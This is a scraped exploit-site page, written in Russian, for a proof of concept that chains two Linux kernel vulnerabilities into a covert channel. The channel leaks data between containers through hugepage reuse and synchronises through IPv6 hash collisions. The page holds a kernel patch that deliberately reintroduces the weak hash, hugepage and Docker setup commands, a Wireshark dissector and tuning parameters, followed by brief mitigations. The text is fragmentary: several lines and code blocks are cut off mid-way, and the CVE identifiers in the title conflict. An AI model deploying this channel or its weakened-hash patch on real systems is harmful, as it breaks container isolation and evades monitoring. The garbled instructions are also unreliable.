Skip to content
CVE-2023-1206-CVE-2025-40040-CVE-2024

CVE-2023-1206-CVE-2025-40040-CVE-2024

Sploitus • September 23, 2026

##

# Объединенный скрытый канал: CVE-2023-1206 + CVE-2024-49882

Этот проект демонстрирует скрытый канал связи с использованием двух уязвимостей ядра Linux:

**Канал синхронизации**| CVE-2023-1206| Синхронизация времени через измерение коллизий хеша IPv6

**Канал данных**| CVE-2024-49882| Передача данных между контейнерами через утечки hugepage

┌─────────────────────────────────────────────────────────────────────┐

│ НЕЗАШИФРОВАННЫЙ СКРЫТЫЙ КАНАЛ │

├─────────────────────────────────────────────────────────────────────┤

│ Контейнер A (Отправитель) Контейнер B (Получатель) │

│ ┌─────────────────┐ ┌─────────────────┐ │

│ │ 1. Запись данных│ │ 4. Обнаружение │ │

│ │ в hugepage │ │ преамбулы │ │

│ └────────┬────────┘ └────────┬────────┘ │

│ │ │ │

│ ▼ ▼ │

│ ┌─────────────────┐ Коллизия ┌─────────────────┐ │

│ │ 2. Отправка │──хеша IPv6──▶│ 5. Измерение │ │

│ │ преамбулы │ Время │ задержки │ │

│ └────────┬────────┘ └────────┬────────┘ │

│ │ │ │

│ ▼ ▼ │

│ ┌─────────────────┐ Повторное ┌─────────────────┐ │

│ │ 3. Освобождение │──использование──▶│ 6. Захват │ │

│ │ hugepage │ hugepage │ утекших │ │

│ └─────────────────┘ │ данных │ │

│ └─────────────────┘ │

└─────────────────────────────────────────────────────────────────────┘

Вам потребуется ядро 6.12 с воспроизведённой уязвимостью:

git clone --depth=1 --branch v6.12 linux-6.12

@@ -750,7 +750,12 @@ static inline u32 ipv6_addr_hash(const struct in6_addr *a)

/* more secured version of ipv6_addr_hash() */

static inline u32 __ipv6_addr_jhash(const struct in6_addr *a, const u32 initval)

- return jhash2((__force const u32 *)a->s6_addr32, 4, initval);

+ u32 v = (__force u32)a->s6_addr32[0] ^ (__force u32)a->s6_addr32[1];

### 2\. Настройка hugepages (CVE-2024-49882)

echo 256 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages

cat /sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages

sudo apt-get install -y docker.io docker-compose

sudo cat > /etc/docker/daemon.json I/O Graphs -> Y Axis: Packets/s

1. **Преамбула синхронизации** : Чередующиеся всплески SYN-пакетов

* Низкая частота или отсутствие пакетов при битах '0'

* У всех исходных адресов будет одинаковое значение XOR(addr[0], addr[1])

### Lua-диссектор для Wireshark (опционально)

Сохраните как `~/.local/lib/wireshark/plugins/covert_channel.lua`:

-- Covert Channel Dissector for CVE-2023-1206

local covert_proto = Proto("covert_sync", "CVE-2023-1206 Covert Sync")

local f_collision = ProtoField.bool("covert.collision", "Hash Collision")

local f_bucket = ProtoField.uint32("covert.bucket", "Target Bucket", base.HEX)

covert_proto.fields = { f_collision, f_bucket }

function covert_proto.dissector(buffer, pinfo, tree)

if pinfo.ipv6_src and pinfo.match_uint("tcp.flags", 0x02) then

local subtree = tree:add(covert_proto, buffer())

local tcp_table = DissectorTable.get("tcp.port")

# График частоты пакетов в реальном времени

tshark -i docker0 -f "tcp port 31337" -q -z io,stat,0.1

# Извлечение данных о времени для построения графика

tshark -r covert.pcap -T fields -e frame.time_relative -e ipv6.src \

set title 'CVE-2023-1206 Covert Sync Channel'

plot 'timing_data.csv' using 1:(1) smooth frequency with impulses

echo 512 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages

# Если не сработало, попробуйте сбросить кеши

sync; echo 3 | sudo tee /proc/sys/vm/drop_caches

echo 512 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages

# Если отсутствует, возможно, нужно включить в конфигурации ядра

sudo mknod /dev/udmabuf c 10 $(cat /proc/misc | grep udmabuf | cut -f1 -d' ')

sudo sysctl -w net.ipv6.conf.all.forwarding=1

docker network inspect covert_net | grep -A5 IPv6

docker network rm covert_channel_covert_net

### Проблемы с временем канала синхронизации

# Увеличение длительности бита для более надёжного обнаружения

#define SYNC_BIT_DURATION_MS 200 # Увеличьте со 100

# Увеличьте порог при ложных срабатываниях

#define SYNC_THRESHOLD 3.0 # Увеличьте с 2.0

Это демонстрирует несколько серьёзных проблем безопасности:

1. **Обход изоляции контейнеров** : Повторное использование hugepage приводит к утечке данных между контейнерами

2. **Скрытая связь** : Каналы, основанные на времени, обходят мониторинг сети

3. **Шифрование не требуется** : Сам канал незаметен; добавление шифрования делает его необнаружимым

1. Отключите hugepages: `echo 0 > /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages`

2. Обновите ядро до исправленной версии (6.5+)

3. Используйте `--security-opt=no-new-privileges` в Docker

4. Отслеживайте необычные паттерны TCP SYN

* CVE-2023-1206:

* CVE-2024-49882: Уязвимость hugepage в ядре Linux

* Патч ядра: `d11b0df7ddf1831f3e170972f43186dad520bfcc`